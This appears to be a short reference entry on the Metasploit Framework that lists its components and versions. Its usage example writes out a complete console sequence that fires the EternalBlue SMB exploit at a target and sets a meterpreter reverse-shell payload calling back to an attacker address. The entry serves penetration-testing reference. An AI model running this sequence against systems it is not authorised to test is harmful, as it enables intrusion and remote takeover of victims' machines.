Tools

Metasploit Framework

Platform for developing and executing exploits

Metasploit Framework is a powerful open source platform for penetration testing, exploit development, and vulnerability research. Developed by Rapid7.

Main Components

  • msfconsole — main command-line interface
  • Exploits — modules for exploiting vulnerabilities
  • Payloads — code executed after exploitation
  • Auxiliary — helper modules (scanners, fuzzers)
  • Encoders — payload obfuscation
  • Post — post-exploitation modules

Versions

  • Framework — free open source version
  • Pro — commercial version with GUI

Usage Examples

# Start console
msfconsole

# Search for exploit
search type:exploit name:smb

# Use module
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit

Related Terms

External Links

Category

Burp Suite, Nmap, Metasploit, pentest and audit tools